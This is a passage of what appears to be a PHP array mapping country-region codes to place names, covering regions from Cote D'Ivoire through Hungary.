'CI-44' => 'Cote D\'Ivoire: Duekoue',
'CI-17' => 'Cote D\'Ivoire: Ferkessedougou',
'CI-18' => 'Cote D\'Ivoire: Gagnoa',
'CI-68' => 'Cote D\'Ivoire: Grand-Bassam',
'CI-45' => 'Cote D\'Ivoire: Grand-Lahou',
'CI-69' => 'Cote D\'Ivoire: Guiglo',
'CI-28' => 'Cote D\'Ivoire: Issia',
'CI-70' => 'Cote D\'Ivoire: Jacquemark',
'CI-20' => 'Cote D\'Ivoire: Katiola',
'CI-21' => 'Cote D\'Ivoire: Korhogo',
'CI-29' => 'Cote D\'Ivoire: Lakota',
'CI-47' => 'Cote D\'Ivoire: Man',
'CI-30' => 'Cote D\'Ivoire: Mankono',
'CI-48' => 'Cote D\'Ivoire: Mbahiakro',
'CI-23' => 'Cote D\'Ivoire: Odienne',
'CI-31' => 'Cote D\'Ivoire: Oume',
'CI-49' => 'Cote D\'Ivoire: Sakassou',
'CI-50' => 'Cote D\'Ivoire: San Pedro',
'CI-51' => 'Cote D\'Ivoire: Sassandra',
'CI-25' => 'Cote D\'Ivoire: Seguela',
'CI-52' => 'Cote D\'Ivoire: Sinfra',
'CI-32' => 'Cote D\'Ivoire: Soubre',
'CI-53' => 'Cote D\'Ivoire: Tabou',
'CI-54' => 'Cote D\'Ivoire: Tanda',
'CI-55' => 'Cote D\'Ivoire: Tiassale',
'CI-71' => 'Cote D\'Ivoire: Tiebissou',
'CI-33' => 'Cote D\'Ivoire: Tingrela',
'CI-26' => 'Cote D\'Ivoire: Touba',
'CI-72' => 'Cote D\'Ivoire: Toulepleu',
'CI-56' => 'Cote D\'Ivoire: Toumodi',
'CI-57' => 'Cote D\'Ivoire: Vavoua',
'CI-73' => 'Cote D\'Ivoire: Yamoussoukro',
'CI-34' => 'Cote D\'Ivoire: Zuenoula',
'--HR' => '','-HR' =>
'Croatia',
'HR-01' => 'Croatia: Bjelovarsko-Bilogorska',
'HR-02' => 'Croatia: Brodsko-Posavska',
'HR-03' => 'Croatia: Dubrovacko-Neretvanska',
'HR-21' => 'Croatia: Grad Zagreb',
'HR-04' => 'Croatia: Istarska',
'HR-05' => 'Croatia: Karlovacka',
'HR-06' => 'Croatia: Koprivnicko-Krizevacka',
'HR-07' => 'Croatia: Krapinsko-Zagorska',
'HR-08' => 'Croatia: Licko-Senjska',
'HR-09' => 'Croatia: Medimurska',
'HR-10' => 'Croatia: Osjecko-Baranjska',
'HR-11' => 'Croatia: Pozesko-Slavonska',
'HR-12' => 'Croatia: Primorsko-Goranska',
'HR-13' => 'Croatia: Sibensko-Kninska',
'HR-14' => 'Croatia: Sisacko-Moslavacka',
'HR-15' => 'Croatia: Splitsko-Dalmatinska',
'HR-16' => 'Croatia: Varazdinska',
'HR-17' => 'Croatia: Viroviticko-Podravska',
'HR-18' => 'Croatia: Vukovarsko-Srijemska',
'HR-19' => 'Croatia: Zadarska',
'HR-20' => 'Croatia: Zagrebacka',
'--CU' => '','-CU' => 'Cuba',
'CU-05' => 'Cuba: Camaguey',
'CU-07' => 'Cuba: Ciego de Avila',
'CU-08' => 'Cuba: Cienfuegos',
'CU-02' => 'Cuba: Ciudad de la Habana',
'CU-09' => 'Cuba: Granma',
'CU-10' => 'Cuba: Guantanamo',
'CU-12' => 'Cuba: Holguin',
'CU-04' => 'Cuba: Isla de la Juventud',
'CU-11' => 'Cuba: La Habana',
'CU-13' => 'Cuba: Las Tunas',
'CU-03' => 'Cuba: Matanzas',
'CU-01' => 'Cuba: Pinar del Rio',
'CU-14' => 'Cuba: Sancti Spiritus',
'CU-15' => 'Cuba: Santiago de Cuba',
'CU-16' => 'Cuba: Villa Clara',
'--CY' => '','-CY' =>
'Cyprus',
'CY-01' => 'Cyprus: Famagusta',
'CY-02' => 'Cyprus: Kyrenia',
'CY-03' => 'Cyprus: Larnaca',
'CY-05' => 'Cyprus: Limassol',
'CY-04' => 'Cyprus: Nicosia',
'CY-06' => 'Cyprus: Paphos',
'--CZ' => '','-CZ' => 'Czech
Republic',
'CZ-03' => 'Czech Republic: Blansko',
'CZ-04' => 'Czech Republic: Breclav',
'CZ-52' => 'Czech Republic: Hlavni Mesto Praha',
'CZ-20' => 'Czech Republic: Hradec Kralove',
'CZ-21' => 'Czech Republic: Jablonec nad Nisou',
'CZ-23' => 'Czech Republic: Jiein',
'CZ-24' => 'Czech Republic: Jihlava',
'CZ-79' => 'Czech Republic: Jihocesky Kraj',
'CZ-78' => 'Czech Republic: Jihomoravsky Kraj',
'CZ-81' => 'Czech Republic: Karlovarsky Kraj',
'CZ-30' => 'Czech Republic: Kolin',
'CZ-82' => 'Czech Republic: Kralovehradecky Kraj',
'CZ-33' => 'Czech Republic: Liberec',
'CZ-83' => 'Czech Republic: Liberecky Kraj',
'CZ-36' => 'Czech Republic: Melnik',
'CZ-37' => 'Czech Republic: Mlada Boleslav',
'CZ-85' => 'Czech Republic: Moravskoslezsky Kraj',
'CZ-39' => 'Czech Republic: Nachod',
'CZ-41' => 'Czech Republic: Nymburk',
'CZ-84' => 'Czech Republic: Olomoucky Kraj',
'CZ-45' => 'Czech Republic: Pardubice',
'CZ-86' => 'Czech Republic: Pardubicky Kraj',
'CZ-87' => 'Czech Republic: Plzensky Kraj',
'CZ-61' => 'Czech Republic: Semily',
'CZ-88' => 'Czech Republic: Stredocesky Kraj',
'CZ-70' => 'Czech Republic: Trutnov',
'CZ-89' => 'Czech Republic: Ustecky Kraj',
'CZ-80' => 'Czech Republic: Vysocina',
'CZ-90' => 'Czech Republic: Zlinsky Kraj',
'--DK' => '','-DK' =>
'Denmark',
'DK-01' => 'Denmark: Arhus',
'DK-02' => 'Denmark: Bornholm',
'DK-03' => 'Denmark: Frederiksborg',
'DK-04' => 'Denmark: Fyn',
'DK-05' => 'Denmark: Kobenhavn',
'DK-07' => 'Denmark: Nordjylland',
'DK-08' => 'Denmark: Ribe',
'DK-09' => 'Denmark: Ringkobing',
'DK-10' => 'Denmark: Roskilde',
'DK-11' => 'Denmark: Sonderjylland',
'DK-06' => 'Denmark: Staden Kobenhavn',
'DK-12' => 'Denmark: Storstrom',
'DK-13' => 'Denmark: Vejle',
'DK-14' => 'Denmark: Vestsjalland',
'DK-15' => 'Denmark: Viborg',
'--DJ' => '','-DJ' =>
'Djibouti',
'DJ-02' => 'Djibouti: Dikhil',
'DJ-03' => 'Djibouti: Djibouti',
'DJ-04' => 'Djibouti: Obock',
'DJ-05' => 'Djibouti: Tadjoura',
'--DM' => '','-DM' =>
'Dominica',
'DM-02' => 'Dominica: Saint Andrew',
'DM-03' => 'Dominica: Saint David',
'DM-04' => 'Dominica: Saint George',
'DM-05' => 'Dominica: Saint John',
'DM-06' => 'Dominica: Saint Joseph',
'DM-07' => 'Dominica: Saint Luke',
'DM-08' => 'Dominica: Saint Mark',
'DM-09' => 'Dominica: Saint Patrick',
'DM-10' => 'Dominica: Saint Paul',
'DM-11' => 'Dominica: Saint Peter',
'--DO' => '','-DO' => 'Dominican
Republic',
'DO-01' => 'Dominican Republic: Azua',
'DO-02' => 'Dominican Republic: Baoruco',
'DO-03' => 'Dominican Republic: Barahona',
'DO-04' => 'Dominican Republic: Dajabon',
'DO-05' => 'Dominican Republic: Distrito Nacional',
'DO-06' => 'Dominican Republic: Duarte',
'DO-28' => 'Dominican Republic: El Seibo',
'DO-11' => 'Dominican Republic: Elias Pina',
'DO-08' => 'Dominican Republic: Espaillat',
'DO-29' => 'Dominican Republic: Hato Mayor',
'DO-09' => 'Dominican Republic: Independencia',
'DO-10' => 'Dominican Republic: La Altagracia',
'DO-12' => 'Dominican Republic: La Romana',
'DO-30' => 'Dominican Republic: La Vega',
'DO-14' => 'Dominican Republic: Maria Trinidad
Sanchez',
'DO-31' => 'Dominican Republic: Monsenor Nouel',
'DO-15' => 'Dominican Republic: Monte Cristi',
'DO-32' => 'Dominican Republic: Monte Plata',
'DO-16' => 'Dominican Republic: Pedernales',
'DO-17' => 'Dominican Republic: Peravia',
'DO-18' => 'Dominican Republic: Puerto Plata',
'DO-19' => 'Dominican Republic: Salcedo',
'DO-20' => 'Dominican Republic: Samana',
'DO-33' => 'Dominican Republic: San Cristobal',
'DO-23' => 'Dominican Republic: San Juan',
'DO-24' => 'Dominican Republic: San Pedro De
Macoris',
'DO-21' => 'Dominican Republic: Sanchez Ramirez',
'DO-26' => 'Dominican Republic: Santiago Rodriguez',
'DO-25' => 'Dominican Republic: Santiago',
'DO-27' => 'Dominican Republic: Valverde',
'--EC' => '','-EC' =>
'Ecuador',
'EC-02' => 'Ecuador: Azuay',
'EC-03' => 'Ecuador: Bolivar',
'EC-04' => 'Ecuador: Canar',
'EC-05' => 'Ecuador: Carchi',
'EC-06' => 'Ecuador: Chimborazo',
'EC-07' => 'Ecuador: Cotopaxi',
'EC-08' => 'Ecuador: El Oro',
'EC-09' => 'Ecuador: Esmeraldas',
'EC-01' => 'Ecuador: Galapagos',
'EC-10' => 'Ecuador: Guayas',
'EC-11' => 'Ecuador: Imbabura',
'EC-12' => 'Ecuador: Loja',
'EC-13' => 'Ecuador: Los Rios',
'EC-14' => 'Ecuador: Manabi',
'EC-15' => 'Ecuador: Morona-Santiago',
'EC-23' => 'Ecuador: Napo',
'EC-24' => 'Ecuador: Orellana',
'EC-17' => 'Ecuador: Pastaza',
'EC-18' => 'Ecuador: Pichincha',
'EC-22' => 'Ecuador: Sucumbios',
'EC-19' => 'Ecuador: Tungurahua',
'EC-20' => 'Ecuador: Zamora-Chinchipe',
'--EG' => '','-EG' =>
'Egypt',
'EG-01' => 'Egypt: Ad Daqahliyah',
'EG-02' => 'Egypt: Al Bahr al Ahmar',
'EG-03' => 'Egypt: Al Buhayrah',
'EG-04' => 'Egypt: Al Fayyum',
'EG-05' => 'Egypt: Al Gharbiyah',
'EG-06' => 'Egypt: Al Iskandariyah',
'EG-07' => 'Egypt: Al Isma\'iliyah',
'EG-08' => 'Egypt: Al Jizah',
'EG-09' => 'Egypt: Al Minufiyah',
'EG-10' => 'Egypt: Al Minya',
'EG-11' => 'Egypt: Al Qahirah',
'EG-12' => 'Egypt: Al Qalyubiyah',
'EG-13' => 'Egypt: Al Wadi al Jadid',
'EG-15' => 'Egypt: As Suways',
'EG-14' => 'Egypt: Ash Sharqiyah',
'EG-16' => 'Egypt: Aswan',
'EG-17' => 'Egypt: Asyut',
'EG-18' => 'Egypt: Bani Suwayf',
'EG-19' => 'Egypt: Bur Sa\'id',
'EG-20' => 'Egypt: Dumyat',
'EG-26' => 'Egypt: Janub Sina\'',
'EG-21' => 'Egypt: Kafr ash Shaykh',
'EG-22' => 'Egypt: Matruh',
'EG-23' => 'Egypt: Qina',
'EG-27' => 'Egypt: Shamal Sina\'',
'EG-24' => 'Egypt: Suhaj',
'--SV' => '','-SV' => 'El
Salvador',
'SV-01' => 'El Salvador: Ahuachapan',
'SV-02' => 'El Salvador: Cabanas',
'SV-03' => 'El Salvador: Chalatenango',
'SV-04' => 'El Salvador: Cuscatlan',
'SV-05' => 'El Salvador: La Libertad',
'SV-06' => 'El Salvador: La Paz',
'SV-07' => 'El Salvador: La Union',
'SV-08' => 'El Salvador: Morazan',
'SV-09' => 'El Salvador: San Miguel',
'SV-10' => 'El Salvador: San Salvador',
'SV-12' => 'El Salvador: San Vicente',
'SV-11' => 'El Salvador: Santa Ana',
'SV-13' => 'El Salvador: Sonsonate',
'SV-14' => 'El Salvador: Usulutan',
'--GQ' => '','-GQ' => 'Equatorial
Guinea',
'GQ-03' => 'Equatorial Guinea: Annobon',
'GQ-04' => 'Equatorial Guinea: Bioko Norte',
'GQ-05' => 'Equatorial Guinea: Bioko Sur',
'GQ-06' => 'Equatorial Guinea: Centro Sur',
'GQ-07' => 'Equatorial Guinea: Kie-Ntem',
'GQ-08' => 'Equatorial Guinea: Litoral',
'GQ-09' => 'Equatorial Guinea: Wele-Nzas',
'--EE' => '','-EE' =>
'Estonia',
'EE-01' => 'Estonia: Harjumaa',
'EE-02' => 'Estonia: Hiiumaa',
'EE-03' => 'Estonia: Ida-Virumaa',
'EE-04' => 'Estonia: Jarvamaa',
'EE-05' => 'Estonia: Jogevamaa',
'EE-06' => 'Estonia: Kohtla-Jarve',
'EE-07' => 'Estonia: Laanemaa',
'EE-08' => 'Estonia: Laane-Virumaa',
'EE-09' => 'Estonia: Narva',
'EE-10' => 'Estonia: Parnu',
'EE-11' => 'Estonia: Parnumaa',
'EE-12' => 'Estonia: Polvamaa',
'EE-13' => 'Estonia: Raplamaa',
'EE-14' => 'Estonia: Saaremaa',
'EE-15' => 'Estonia: Sillamae',
'EE-16' => 'Estonia: Tallinn',
'EE-17' => 'Estonia: Tartu',
'EE-18' => 'Estonia: Tartumaa',
'EE-19' => 'Estonia: Valgamaa',
'EE-20' => 'Estonia: Viljandimaa',
'EE-21' => 'Estonia: Vorumaa',
'--ET' => '','-ET' =>
'Ethiopia',
'ET-10' => 'Ethiopia: Addis Abeba',
'ET-44' => 'Ethiopia: Adis Abeba',
'ET-14' => 'Ethiopia: Afar',
'ET-45' => 'Ethiopia: Afar',
'ET-46' => 'Ethiopia: Amara',
'ET-02' => 'Ethiopia: Amhara',
'ET-13' => 'Ethiopia: Benishangul',
'ET-47' => 'Ethiopia: Binshangul Gumuz',
'ET-48' => 'Ethiopia: Dire Dawa',
'ET-49' => 'Ethiopia: Gambela Hizboch',
'ET-08' => 'Ethiopia: Gambella',
'ET-50' => 'Ethiopia: Hareri Hizb',
'ET-51' => 'Ethiopia: Oromiya',
'ET-07' => 'Ethiopia: Somali',
'ET-11' => 'Ethiopia: Southern',
'ET-52' => 'Ethiopia: Sumale',
'ET-12' => 'Ethiopia: Tigray',
'ET-53' => 'Ethiopia: Tigray',
'ET-54' => 'Ethiopia: YeDebub Biheroch Bihereseboch na
Hizboch',
'--FJ' => '','-FJ' => 'Fiji',
'FJ-01' => 'Fiji: Central',
'FJ-02' => 'Fiji: Eastern',
'FJ-03' => 'Fiji: Northern',
'FJ-04' => 'Fiji: Rotuma',
'FJ-05' => 'Fiji: Western',
'--FI' => '','-FI' =>
'Finland',
'FI-01' => 'Finland: Åland',
'FI-14' => 'Finland: Eastern Finland',
'FI-06' => 'Finland: Lapland',
'FI-08' => 'Finland: Oulu',
'FI-13' => 'Finland: Southern Finland',
'FI-15' => 'Finland: Western Finland',
'--FR' => '','-FR' =>
'France',
'FR-C1' => 'France: Alsace',
'FR-97' => 'France: Aquitaine',
'FR-98' => 'France: Auvergne',
'FR-99' => 'France: Basse-Normandie',
'FR-A1' => 'France: Bourgogne',
'FR-A2' => 'France: Bretagne',
'FR-A3' => 'France: Centre',
'FR-A4' => 'France: Champagne-Ardenne',
'FR-A5' => 'France: Corse',
'FR-A6' => 'France: Franche-Comte',
'FR-A7' => 'France: Haute-Normandie',
'FR-A8' => 'France: Ile-de-France',
'FR-A9' => 'France: Languedoc-Roussillon',
'FR-B1' => 'France: Limousin',
'FR-B2' => 'France: Lorraine',
'FR-B3' => 'France: Midi-Pyrenees',
'FR-B4' => 'France: Nord-Pas-de-Calais',
'FR-B5' => 'France: Pays de la Loire',
'FR-B6' => 'France: Picardie',
'FR-B7' => 'France: Poitou-Charentes',
'FR-B8' => 'France: Provence-Alpes-Cote
d\'Azur',
'FR-B9' => 'France: Rhone-Alpes',
'--GA' => '','-GA' =>
'Gabon',
'GA-01' => 'Gabon: Estuaire',
'GA-02' => 'Gabon: Haut-Ogooue',
'GA-03' => 'Gabon: Moyen-Ogooue',
'GA-04' => 'Gabon: Ngounie',
'GA-05' => 'Gabon: Nyanga',
'GA-06' => 'Gabon: Ogooue-Ivindo',
'GA-07' => 'Gabon: Ogooue-Lolo',
'GA-08' => 'Gabon: Ogooue-Maritime',
'GA-09' => 'Gabon: Woleu-Ntem',
'--GM' => '','-GM' =>
'Gambia',
'GM-01' => 'Gambia: Banjul',
'GM-02' => 'Gambia: Lower River',
'GM-03' => 'Gambia: MacCarthy Island',
'GM-07' => 'Gambia: North Bank',
'GM-04' => 'Gambia: Upper River',
'GM-05' => 'Gambia: Western',
'--GE' => '','-GE' =>
'Georgia',
'GE-01' => 'Georgia: Abashis Raioni',
'GE-02' => 'Georgia: Abkhazia',
'GE-03' => 'Georgia: Adigenis Raioni',
'GE-04' => 'Georgia: Ajaria',
'GE-05' => 'Georgia: Akhalgoris Raioni',
'GE-06' => 'Georgia: Akhalk\'alak\'is
Raioni',
'GE-07' => 'Georgia: Akhalts\'ikhis Raioni',
'GE-08' => 'Georgia: Akhmetis Raioni',
'GE-09' => 'Georgia: Ambrolauris Raioni',
'GE-10' => 'Georgia: Aspindzis Raioni',
'GE-11' => 'Georgia: Baghdat\'is Raioni',
'GE-12' => 'Georgia: Bolnisis Raioni',
'GE-13' => 'Georgia: Borjomis Raioni',
'GE-14' => 'Georgia: Chiat\'ura',
'GE-15' => 'Georgia: Ch\'khorotsqus Raioni',
'GE-16' => 'Georgia: Ch\'okhatauris Raioni',
'GE-17' => 'Georgia: Dedop\'listsqaros Raioni',
'GE-18' => 'Georgia: Dmanisis Raioni',
'GE-19' => 'Georgia: Dushet\'is Raioni',
'GE-20' => 'Georgia: Gardabanis Raioni',
'GE-21' => 'Georgia: Gori',
'GE-22' => 'Georgia: Goris Raioni',
'GE-23' => 'Georgia: Gurjaanis Raioni',
'GE-24' => 'Georgia: Javis Raioni',
'GE-25' => 'Georgia: K\'arelis Raioni',
'GE-26' => 'Georgia: Kaspis Raioni',
'GE-27' => 'Georgia: Kharagaulis Raioni',
'GE-28' => 'Georgia: Khashuris Raioni',
'GE-29' => 'Georgia: Khobis Raioni',
'GE-30' => 'Georgia: Khonis Raioni',
'GE-31' => 'Georgia: K\'ut\'aisi',
'GE-32' => 'Georgia: Lagodekhis Raioni',
'GE-33' => 'Georgia: Lanch\'khut\'is
Raioni',
'GE-34' => 'Georgia: Lentekhis Raioni',
'GE-35' => 'Georgia: Marneulis Raioni',
'GE-36' => 'Georgia: Martvilis Raioni',
'GE-37' => 'Georgia: Mestiis Raioni',
'GE-38' => 'Georgia: Mts\'khet\'is
Raioni',
'GE-39' => 'Georgia: Ninotsmindis Raioni',
'GE-40' => 'Georgia: Onis Raioni',
'GE-41' => 'Georgia: Ozurget\'is Raioni',
'GE-42' => 'Georgia: P\'ot\'i',
'GE-43' => 'Georgia: Qazbegis Raioni',
'GE-44' => 'Georgia: Qvarlis Raioni',
'GE-45' => 'Georgia: Rust\'avi',
'GE-46' => 'Georgia: Sach\'kheris Raioni',
'GE-47' => 'Georgia: Sagarejos Raioni',
'GE-48' => 'Georgia: Samtrediis Raioni',
'GE-49' => 'Georgia: Senakis Raioni',
'GE-50' => 'Georgia: Sighnaghis Raioni',
'GE-51' => 'Georgia: T\'bilisi',
'GE-52' => 'Georgia: T\'elavis Raioni',
'GE-53' => 'Georgia: T\'erjolis Raioni',
'GE-54' => 'Georgia: T\'et\'ritsqaros
Raioni',
'GE-55' => 'Georgia: T\'ianet\'is Raioni',
'GE-56' => 'Georgia: Tqibuli',
'GE-57' => 'Georgia: Ts\'ageris Raioni',
'GE-58' => 'Georgia: Tsalenjikhis Raioni',
'GE-59' => 'Georgia: Tsalkis Raioni',
'GE-60' => 'Georgia: Tsqaltubo',
'GE-61' => 'Georgia: Vanis Raioni',
'GE-62' => 'Georgia: Zestap\'onis Raioni',
'GE-63' => 'Georgia: Zugdidi',
'GE-64' => 'Georgia: Zugdidis Raioni',
'--DE' => '','-DE' =>
'Germany',
'DE-01' => 'Germany: Baden-Württemberg',
'DE-02' => 'Germany: Bayern',
'DE-16' => 'Germany: Berlin',
'DE-11' => 'Germany: Brandenburg',
'DE-03' => 'Germany: Bremen',
'DE-04' => 'Germany: Hamburg',
'DE-05' => 'Germany: Hessen',
'DE-12' => 'Germany: Mecklenburg-Vorpommern',
'DE-06' => 'Germany: Niedersachsen',
'DE-07' => 'Germany: Nordrhein-Westfalen',
'DE-08' => 'Germany: Rheinland-Pfalz',
'DE-09' => 'Germany: Saarland',
'DE-13' => 'Germany: Sachsen',
'DE-14' => 'Germany: Sachsen-Anhalt',
'DE-10' => 'Germany: Schleswig-Holstein',
'DE-15' => 'Germany: Thuringen',
'--GH' => '','-GH' =>
'Ghana',
'GH-02' => 'Ghana: Ashanti',
'GH-03' => 'Ghana: Brong-Ahafo',
'GH-04' => 'Ghana: Central',
'GH-05' => 'Ghana: Eastern',
'GH-01' => 'Ghana: Greater Accra',
'GH-06' => 'Ghana: Northern',
'GH-10' => 'Ghana: Upper East',
'GH-11' => 'Ghana: Upper West',
'GH-08' => 'Ghana: Volta',
'GH-09' => 'Ghana: Western',
'--GR' => '','-GR' =>
'Greece',
'GR-31' => 'Greece: Aitolia kai Akarnania',
'GR-38' => 'Greece: Akhaia',
'GR-36' => 'Greece: Argolis',
'GR-41' => 'Greece: Arkadhia',
'GR-20' => 'Greece: Arta',
'GR-35' => 'Greece: Attiki',
'GR-47' => 'Greece: Dhodhekanisos',
'GR-04' => 'Greece: Drama',
'GR-30' => 'Greece: Evritania',
'GR-01' => 'Greece: Evros',
'GR-34' => 'Greece: Evvoia',
'GR-08' => 'Greece: Florina',
'GR-32' => 'Greece: Fokis',
'GR-29' => 'Greece: Fthiotis',
'GR-10' => 'Greece: Grevena',
'GR-39' => 'Greece: Ilia',
'GR-12' => 'Greece: Imathia',
'GR-17' => 'Greece: Ioannina',
'GR-45' => 'Greece: Iraklion',
'GR-23' => 'Greece: Kardhitsa',
'GR-09' => 'Greece: Kastoria',
'GR-14' => 'Greece: Kavala',
'GR-27' => 'Greece: Kefallinia',
'GR-25' => 'Greece: Kerkira',
'GR-15' => 'Greece: Khalkidhiki',
'GR-43' => 'Greece: Khania',
'GR-50' => 'Greece: Khios',
'GR-49' => 'Greece: Kikladhes',
'GR-06' => 'Greece: Kilkis',
'GR-37' => 'Greece: Korinthia',
'GR-11' => 'Greece: Kozani',
'GR-42' => 'Greece: Lakonia',
'GR-21' => 'Greece: Larisa',
'GR-46' => 'Greece: Lasithi',
'GR-51' => 'Greece: Lesvos',
'GR-26' => 'Greece: Levkas',
'GR-24' => 'Greece: Magnisia',
'GR-40' => 'Greece: Messinia',
'GR-07' => 'Greece: Pella',
'GR-16' => 'Greece: Pieria',
'GR-19' => 'Greece: Preveza',
'GR-44' => 'Greece: Rethimni',
'GR-02' => 'Greece: Rodhopi',
'GR-48' => 'Greece: Samos',
'GR-05' => 'Greece: Serrai',
'GR-18' => 'Greece: Thesprotia',
'GR-13' => 'Greece: Thessaloniki',
'GR-22' => 'Greece: Trikala',
'GR-33' => 'Greece: Voiotia',
'GR-03' => 'Greece: Xanthi',
'GR-28' => 'Greece: Zakinthos',
'--GL' => '','-GL' =>
'Greenland',
'GL-01' => 'Greenland: Nordgronland',
'GL-02' => 'Greenland: Ostgronland',
'GL-03' => 'Greenland: Vestgronland',
'--GD' => '','-GD' =>
'Grenada',
'GD-01' => 'Grenada: Saint Andrew',
'GD-02' => 'Grenada: Saint David',
'GD-03' => 'Grenada: Saint George',
'GD-04' => 'Grenada: Saint John',
'GD-05' => 'Grenada: Saint Mark',
'GD-06' => 'Grenada: Saint Patrick',
'--GT' => '','-GT' =>
'Guatemala',
'GT-01' => 'Guatemala: Alta Verapaz',
'GT-02' => 'Guatemala: Baja Verapaz',
'GT-03' => 'Guatemala: Chimaltenango',
'GT-04' => 'Guatemala: Chiquimula',
'GT-05' => 'Guatemala: El Progreso',
'GT-06' => 'Guatemala: Escuintla',
'GT-07' => 'Guatemala: Guatemala',
'GT-08' => 'Guatemala: Huehuetenango',
'GT-09' => 'Guatemala: Izabal',
'GT-10' => 'Guatemala: Jalapa',
'GT-11' => 'Guatemala: Jutiapa',
'GT-12' => 'Guatemala: Peten',
'GT-13' => 'Guatemala: Quetzaltenango',
'GT-14' => 'Guatemala: Quiche',
'GT-15' => 'Guatemala: Retalhuleu',
'GT-16' => 'Guatemala: Sacatepequez',
'GT-17' => 'Guatemala: San Marcos',
'GT-18' => 'Guatemala: Santa Rosa',
'GT-19' => 'Guatemala: Solola',
'GT-20' => 'Guatemala: Suchitepequez',
'GT-21' => 'Guatemala: Totonicapan',
'GT-22' => 'Guatemala: Zacapa',
'--GN' => '','-GN' =>
'Guinea',
'GN-01' => 'Guinea: Beyla',
'GN-02' => 'Guinea: Boffa',
'GN-03' => 'Guinea: Boke',
'GN-04' => 'Guinea: Conakry',
'GN-30' => 'Guinea: Coyah',
'GN-05' => 'Guinea: Dabola',
'GN-06' => 'Guinea: Dalaba',
'GN-07' => 'Guinea: Dinguiraye',
'GN-31' => 'Guinea: Dubreka',
'GN-09' => 'Guinea: Faranah',
'GN-10' => 'Guinea: Forecariah',
'GN-11' => 'Guinea: Fria',
'GN-12' => 'Guinea: Gaoual',
'GN-13' => 'Guinea: Gueckedou',
'GN-32' => 'Guinea: Kankan',
'GN-15' => 'Guinea: Kerouane',
'GN-16' => 'Guinea: Kindia',
'GN-17' => 'Guinea: Kissidougou',
'GN-33' => 'Guinea: Koubia',
'GN-18' => 'Guinea: Koundara',
'GN-19' => 'Guinea: Kouroussa',
'GN-34' => 'Guinea: Labe',
'GN-35' => 'Guinea: Lelouma',
'GN-36' => 'Guinea: Lola',
'GN-21' => 'Guinea: Macenta',
'GN-22' => 'Guinea: Mali',
'GN-23' => 'Guinea: Mamou',
'GN-37' => 'Guinea: Mandiana',
'GN-38' => 'Guinea: Nzerekore',
'GN-25' => 'Guinea: Pita',
'GN-39' => 'Guinea: Siguiri',
'GN-27' => 'Guinea: Telimele',
'GN-28' => 'Guinea: Tougue',
'GN-29' => 'Guinea: Yomou',
'--GW' => '','-GW' =>
'Guinea-Bissau',
'GW-01' => 'Guinea-Bissau: Bafata',
'GW-12' => 'Guinea-Bissau: Biombo',
'GW-11' => 'Guinea-Bissau: Bissau',
'GW-05' => 'Guinea-Bissau: Bolama',
'GW-06' => 'Guinea-Bissau: Cacheu',
'GW-10' => 'Guinea-Bissau: Gabu',
'GW-04' => 'Guinea-Bissau: Oio',
'GW-02' => 'Guinea-Bissau: Quinara',
'GW-07' => 'Guinea-Bissau: Tombali',
'--GY' => '','-GY' =>
'Guyana',
'GY-10' => 'Guyana: Barima-Waini',
'GY-11' => 'Guyana: Cuyuni-Mazaruni',
'GY-12' => 'Guyana: Demerara-Mahaica',
'GY-13' => 'Guyana: East Berbice-Corentyne',
'GY-14' => 'Guyana: Essequibo Islands-West
Demerara',
'GY-15' => 'Guyana: Mahaica-Berbice',
'GY-16' => 'Guyana: Pomeroon-Supenaam',
'GY-17' => 'Guyana: Potaro-Siparuni',
'GY-18' => 'Guyana: Upper Demerara-Berbice',
'GY-19' => 'Guyana: Upper Takutu-Upper Essequibo',
'--HT' => '','-HT' =>
'Haiti',
'HT-06' => 'Haiti: Artibonite',
'HT-07' => 'Haiti: Centre',
'HT-08' => 'Haiti: Grand\' Anse',
'HT-09' => 'Haiti: Nord',
'HT-10' => 'Haiti: Nord-Est',
'HT-03' => 'Haiti: Nord-Ouest',
'HT-11' => 'Haiti: Ouest',
'HT-12' => 'Haiti: Sud',
'HT-13' => 'Haiti: Sud-Est',
'--HN' => '','-HN' =>
'Honduras',
'HN-01' => 'Honduras: Atlantida',
'HN-02' => 'Honduras: Choluteca',
'HN-03' => 'Honduras: Colon',
'HN-04' => 'Honduras: Comayagua',
'HN-05' => 'Honduras: Copan',
'HN-06' => 'Honduras: Cortes',
'HN-07' => 'Honduras: El Paraiso',
'HN-08' => 'Honduras: Francisco Morazan',
'HN-09' => 'Honduras: Gracias a Dios',
'HN-10' => 'Honduras: Intibuca',
'HN-11' => 'Honduras: Islas de la Bahia',
'HN-12' => 'Honduras: La Paz',
'HN-13' => 'Honduras: Lempira',
'HN-14' => 'Honduras: Ocotepeque',
'HN-15' => 'Honduras: Olancho',
'HN-16' => 'Honduras: Santa Barbara',
'HN-17' => 'Honduras: Valle',
'HN-18' => 'Honduras: Yoro',
'--HU' => '','-HU' =>
'Hungary',
'HU-01' => 'Hungary: Bacs-Kiskun',
'HU-02' => 'Hungary: Baranya',
'HU-03' => 'Hungary: Bekes',
'HU-26' => 'Hungary: Bekescsaba',
'HU-04' => 'Hungary: Borsod-Abauj-Zemplen',
'HU-05' => 'Hungary: Budapest',
'HU-06' => 'Hungary: Csongrad',
'HU-07' => 'Hungary: Debrecen',
'HU-27' => 'Hungary: Dunaujvaros',
'HU-28' => 'Hungary: Eger',
'HU-08' => 'Hungary: Fejer',
'HU-25' => 'Hungary: Gyor',
'HU-09' => 'Hungary: Gyor-Moson-Sopron',
'HU-10' => 'Hungary: Hajdu-Bihar',
'HU-11' => 'Hungary: Heves',
'HU-29' => 'Hungary: Hodmezovasarhely',
'HU-20' => 'Hungary: Jasz-Nagykun-Szolnok',
'HU-30' => 'Hungary: Kaposvar',
'HU-31' => 'Hungary: Kecskemet',
'HU-12' => 'Hungary: Komarom-Esztergom',
'HU-13' => 'Hungary: Miskolc',
'HU-32' => 'Hungary: Nagykanizsa',
'HU-14' => 'Hungary: Nograd',
'HU-33' => 'Hungary: Nyiregyhaza',
'HU-15' => 'Hungary: Pecs',
'HU-16' => 'Hungary: Pest',
'HU-17' => 'Hungary: Somogy',
'HU-34' => 'Hungary: Sopron',
'HU-18' => 'Hungary: Szabolcs-Szatmar-Bereg',
'HU-19' => 'Hungary: Szeged',
'HU-35' => 'Hungary: Szekesfehervar',
'HU-36' => 'Hungary: Szolnok',
'HU-37' => 'Hungary: Szombathely',
'HU-38' => 'Hungary: Tatabanya',
'HU-21' => 'Hungary: Tolna',
'HU-22' => 'Hungary: Vas',
'HU-23' => 'Hungary: Veszprem',
'HU-39' => 'Hungary: Veszprem',
'HU-24' => 'Hungary: Zala',
'HU-40' => 'Hungary: Zalaegerszeg',
